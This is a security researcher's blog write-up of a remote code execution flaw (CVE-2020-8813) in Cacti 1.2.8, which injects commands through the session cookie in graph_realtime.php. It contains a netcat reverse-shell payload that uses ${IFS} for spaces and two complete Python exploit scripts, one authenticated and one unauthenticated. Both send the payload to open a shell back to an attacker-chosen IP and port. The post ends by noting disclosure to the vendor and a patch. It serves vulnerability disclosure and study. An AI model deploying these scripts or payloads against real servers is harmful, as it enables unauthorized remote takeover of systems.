Summary about Cacti
Cacti is a complete network graphing solution designed to harness the power of RRDTool’s data storage and graphing functionality, Cacti provides a fast poller, advanced graph templating, multiple data acquisition methods, and user management features out of the box. All of this is wrapped in an intuitive, easy to use interface that makes sense for LAN-sized installations up to complex networks with thousands of devices.
About the exploit
I found this vulnerability by analyzing the code of multiple functions inside Cacti main code, I have to connect multiple factors together to get code execution works, the vulnerability mainly occurs when the attacker try to inject malicious code in the “Cacti” cookie variable which will be passed to shell_exec function after being concatenated with some strings, but I got a problem with authentication when I tried to manipulate the cookie value which will deny me from accessing the page, so to solve that I noticed that the vulnerable page could be accessed as a “Guest” which requires no authentication to access it, so I chained my exploit to enable the “Guest” view for the page “graph_realtime.php” and then make the malicious request in order to gain code execution on the host.
To get that work, First I need to send a request to “user_admin.php” page to enable the realtime_graph “Guest” privilege then again send the malicious request to “graph_realtime.php” page.
So, I started as usual with my super simple RCE scanner script to hunt for a RCE in Cacti.
After running the script, I got an interesting result in “graph_realtime.php” file:
/* call poller */ $graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png'; $command = read_config_option('path_php_binary'); $args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']); shell_exec("$command $args"); /* construct the image name */ $graph_data_array['export_realtime'] = $graph_rrd; $graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA; $null_param = array();
As we can see from line numbers 170 and 171 that we are receiving couple of arguments and concatenate them together, also we can see that there is a function called “get_request_var” which do the following:
function get_request_var($name, $default = '') { global $_CACTI_REQUEST; $log_validation = read_config_option('log_validation'); if (isset($_CACTI_REQUEST[$name])) { return $_CACTI_REQUEST[$name]; } elseif (isset_request_var($name)) { if ($log_validation == 'on') { html_log_input_error($name); } set_request_var($name, $_REQUEST[$name]); return $_REQUEST[$name]; } else { return $default; } }
And as we can see this function will just handle the input and set the value of the parameter via the function “set_request_var” which do the following:
function set_request_var($variable, $value) {
global $_CACTI_REQUEST;
$_CACTI_REQUEST[$variable] = $value;
$_REQUEST[$variable] = $value;
$_POST[$variable] = $value;
$_GET[$variable] = $value;
}
So, back to our “graph_realtime.php” we can see that we can control couple of inputs which are:
- local_graph_id
- The value of $graph_data_array[‘ds_step’]
But unfortunately, we can’t do that for several reasons, first of all we can notice that the line #171 in graph_realtime.php file use sprintf to handle the input, and we can see that the first value “graph” filled with the value “local_graph_id” which we can control! but unfortunately again, this value will be filtered by a function called “get_filter_request_var” and we can see that the value it’s already filtered in graph_realtime.php line #38 like the following:
function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) { if (isset_request_var($name)) { if (isempty_request_var($name)) { set_request_var($name, get_nfilter_request_var($name)); return get_request_var($name); } elseif (get_nfilter_request_var($name) == 'undefined') { if (isset($options['default'])) { set_request_var($name, $options['default']); return $options['default']; } else { set_request_var($name, ''); return ''; } } else { if (get_nfilter_request_var($name) == '0') { $value = '0'; } elseif (get_nfilter_request_var($name) == 'undefined') { if (isset($options['default'])) { $value = $options['default']; } else { $value = ''; } } elseif (isempty_request_var($name)) { $value = ''; } elseif ($filter == FILTER_VALIDATE_IS_REGEX) { if (is_base64_encoded($_REQUEST[$name])) { $_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name])); } $valid = validate_is_regex($_REQUEST[$name]); if ($valid === true) { $value = $_REQUEST[$name]; } else { $value = false; $custom_error = $valid; } } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) { $valid = true; if (is_array($_REQUEST[$name])) { foreach($_REQUEST[$name] AS $number) { if (!is_numeric($number)) { $valid = false; break; } } } else { $valid = false; } if ($valid == true) { $value = $_REQUEST[$name]; } else { $value = false; } } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) { $valid = true; $values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY); foreach($values AS $number) { if (!is_numeric($number)) { $valid = false; break; } } if ($valid == true) { $value = $_REQUEST[$name]; } else { $value = false; } } elseif (!cacti_sizeof($options)) { $value = filter_var($_REQUEST[$name], $filter); } else { $value = filter_var($_REQUEST[$name], $filter, $options); } } if ($value === false) { if ($filter == FILTER_VALIDATE_IS_REGEX) { $_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error)); set_request_var($name, ''); raise_message('custom_error'); } else { die_html_input_error($name, get_nfilter_request_var($name)); } } else { set_request_var($name, $value); return $value; } } else { if (isset($options['default'])) { set_request_var($name, $options['default']); return $options['default']; } else { return; } } }
This function will filter the input and return a clean variable to be passed to the function.
And also for the second variable “$graph_data_array[‘ds_step’]” it already handled via sprintf as %d which means “decimal value” so we can’t use it to inject our malicious command.
So how we can get this thing works ? let’s take a look again into the code:
/* call poller */ $graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png'; $command = read_config_option('path_php_binary'); $args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']); shell_exec("$command $args"); /* construct the image name */ $graph_data_array['export_realtime'] = $graph_rrd; $graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA; $null_param = array();
We get another variable passed to shell_exec which is the value of “session_id()” function, this function will return the value of the current session of the user which means that we can use it to inject our command!
But wait! if we manipulated the session we will not be able to access the page since this page require from the user to be authenticated to access it, So after some additional digging in the software, I found that we can access the page as a guest if we enabled a special privilege called “Realtime Graphs” and we can see from this page:
Let try to access this page without having the “Guest Realtime Graphs” privilege enable:
As we can see, we cannot access the page due to permission issues, not lets try to enable it and access the page to get the following:
Perfect we accessed the page, now I will send a request to “graph_realtime.php” and will ad a debugging statement that will echo the argument that will be passed to shell_exec:
As we can see, we got our session printed out to us, so lets try to inject custom string into the session and see what will happen:
Great! we got it injected without problems!
Payload writing
After controlling the session value, we need to use it to gain a code execution on the system, but this still a session value which means we cannot use some characters inside it even if we encode it, so we need to write a “session friendly” payload that we can inject without forcing the app to generate for us another cookie value.
For example, if I encoded the string “Hi Payload” and passed it to the application, I will get the following:
As we can see, the application set a cookie for us instead of the one that we injected, so to solve that we need to use a custom payload.
So to avoid using spaces, I got an idea to use “${IFS}” bash variable which represent a space.
And of course we need to escape the command using “;” to be like the following:
;payload
And if we want to use netcat to gain a shell, we need to create the following payload:
;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port
Lets try that and see the results by encoding the payload first:
And then send it to the application to get the following:
Perfect! Our payload worked and we popped a shell!
Exploit Writing
To automate the exploitation process, I wrote a python code to exploit the vulnerability, The exploit will handle the login process to enable the “Guest Realtime Graphs” privilege, then will generate the payload an send the crafted request to “graph_realtime.php” page in order to gain a reverse shell.
Here is the full exploit code:
#!/usr/bin/python3 # Exploit Title: Cacti v1.2.8 Remote Code Execution # Date: 03/02/2020 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2020-8813 # Vendor Homepage: https://cacti.net/ # Version: v1.2.8 # Tested on: CentOS 7.3 / PHP 7.1.33 import requests import sys import warnings from bs4 import BeautifulSoup from urllib.parse import quote warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 6: print("[~] Usage : ./Cacti-exploit.py url username password ip port") exit() url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] ip = sys.argv[4] port = sys.argv[5] def login(token): login_info = { "login_username": username, "login_password": password, "action": "login", "__csrf_magic": token } login_request = request.post(url+"/index.php", login_info) login_text = login_request.text if "Invalid User Name/Password Please Retype" in login_text: return False else: return True def enable_guest(token): request_info = { "id": "3", "section25": "on", "section7": "on", "tab": "realms", "save_component_realm_perms": 1, "action": "save", "__csrf_magic": token } enable_request = request.post(url+"/user_admin.php?header=false", request_info) if enable_request: return True else: return False def send_exploit(): payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port) cookies = {'Cacti': quote(payload)} requests.get(url+"/graph_realtime.php?action=init", cookies=cookies) request = requests.session() print("[+]Retrieving login CSRF token") page = request.get(url+"/index.php") html_content = page.text soup = BeautifulSoup(html_content, "html5lib") token = soup.findAll('input')[0].get("value") if token: print("[+]Token Found : %s" % token) print("[+]Sending creds ..") login_status = login(token) if login_status: print("[+]Successfully LoggedIn") print("[+]Retrieving CSRF token ..") page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms") html_content = page.text soup = BeautifulSoup(html_content, "html5lib") token = soup.findAll('input')[1].get("value") if token: print("[+]Making some noise ..") guest_realtime = enable_guest(token) if guest_realtime: print("[+]Sending malicous request, check your nc ;)") send_exploit() else: print("[-]Error while activating the malicous account") else: print("[-] Unable to retrieve CSRF token from admin page!") exit() else: print("[-]Cannot Login!") else: print("[-] Unable to retrieve CSRF token!") exit()
And after running the exploit code, we will get the following:
We popped a shell again!
Unauthenticated exploit
This vulnerability could be exploited without authentication if Cacti is enabling “Guest Realtime Graphs” privilege, So in this case no need for the authentication part and you can just use the following code to exploit the vulnerability:
#!/usr/bin/python3 # Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution # Date: 03/02/2020 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2020-8813 # Vendor Homepage: https://cacti.net/ # Version: v1.2.8 # Tested on: CentOS 7.3 / PHP 7.1.33 import requests import sys import warnings from bs4 import BeautifulSoup from urllib.parse import quote warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 4: print("[~] Usage : ./Cacti-exploit.py url ip port") exit() url = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] def send_exploit(url): payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port) cookies = {'Cacti': quote(payload)} path = url+"/graph_realtime.php?action=init" req = requests.get(path) if req.status_code == 200 and "poller_realtime.php" in req.text: print("[+] File Found and Guest is enabled!") print("[+] Sending malicous request, check your nc ;)") requests.get(path, cookies=cookies) else: print("[+] Error while requesting the file!") send_exploit(url)
As we can see we can also exploit it without problems if we have “Gest Realtime Graphs” privilege enable, so it’s good to check if “graph_realtime.php” file has this access privilege or not.
In php7.2 and higher the exploit may not work as expected because php will strip any special characters from the cookie value including the one we used before
Exploitation Note
vulnerability disclosure
I already sent the vulnerability details and a full POC to Cacti team, they fixed the vulnerability and issued a patch for it, and you can expect the version 1.2.10 by end of this month.
5 Replies to “Cacti v1.2.8 authenticated Remote Code Execution (CVE-2020-8813)”